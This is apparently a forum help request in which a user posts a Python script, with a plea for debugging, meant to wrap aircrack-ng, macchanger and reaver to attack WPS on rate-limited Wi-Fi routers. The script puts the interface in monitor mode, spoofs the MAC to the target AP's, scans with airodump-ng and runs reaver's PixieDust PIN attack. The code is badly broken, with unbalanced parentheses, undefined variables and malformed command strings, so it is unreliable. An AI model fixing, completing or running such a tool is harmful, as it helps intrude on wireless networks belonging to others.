Yes or no prompting if yes run command if no run a different command Help


#1

!/usr/bin/env python3

from numbers import Number
import time
import os
print ("This script was designed to unlock AP limit locked routers it depends on aircrack-ng, reaver, and mkd5")
time.sleep(5)
interface = str(input("Enter wireless interface name: "))
print (interface)
os.system("sudo ifconfig {0}{1}".format(interface,"down"))
macchange = str(input("What is the mac address of target AP: "))
print (macchange)
os.system("sudo iwconfig {0}{1}".format(interface,"mode monitor")

need a code for your are about to change mac address yes or no

if prompt("You are about to change your mac address):
os.system("sudo macchanger {0}{1}".format(interface ,macchange)
else:
print ("Script will now contuine without changing mac address.")
os.system("sudo ifconfig {0}{1}".format(interface,"up")
print ("Airodump is going to start searching for target AP's.")
os.system("sudo airodump-ng {0:1}{1}".format("start",interface)
bssidname = str(input("What is the BSSID of the target: "))
chanwi = str(input("What Chanel is the AP on ?: "))
print ("Would you like to test if the AP is vul to the PixieDust WPS attack?.")
if y > n:
os.system("sudo reaver {0:1}{1:1}{2:1}{3:1}{4:1}{5:1}{6:1}".format("-i",interface,"-b",bssidname,"-c",chanwi,"-K 1 -f -vvv")
elif n < y:
os.system("reaver")
else:
print ("Incorrect Option.")

print ("ESSID OF AP")
essidinput = str(input("What is the ESSID of the access point you are targeting ?: "))
if address == (essidinput):
os.system("sudo macchanger {0}{1}".format(interface ,macchange)
elif address == no:
os.system("sudo macchanger {0}{1}".format(interface ,macchange)
else:
print ("Script will now contuine without changing mac address.")
time.sleep(2)
timeout = str(input("How much timeout do you want to give reaver ?: "))
time.sleep(2)
timecap = int(input("How much time in seconds for distance between pin atempts type [s]skip for defualt: "))
if timecap == s:
os.system("sudo reaver {0}{1}".format("-i",interface)
elif timecap == 1 < 100:
os.system("sudo reaver {0}{1}".format("-i",interface)
else: print ("You entered an incorrect value")

This is my code would u look at at and try to see where i went wrong
basically the script will be designed unlock ap rate limited routers it
will ask alot of input to store the vars for the command line options
so when it eventually starts it knows what options to add there is many
of these scripts but there writen in bash my idea was to convert the
script to python that way i could get the script i need and also learn
python killing 2 birds with one stone lol.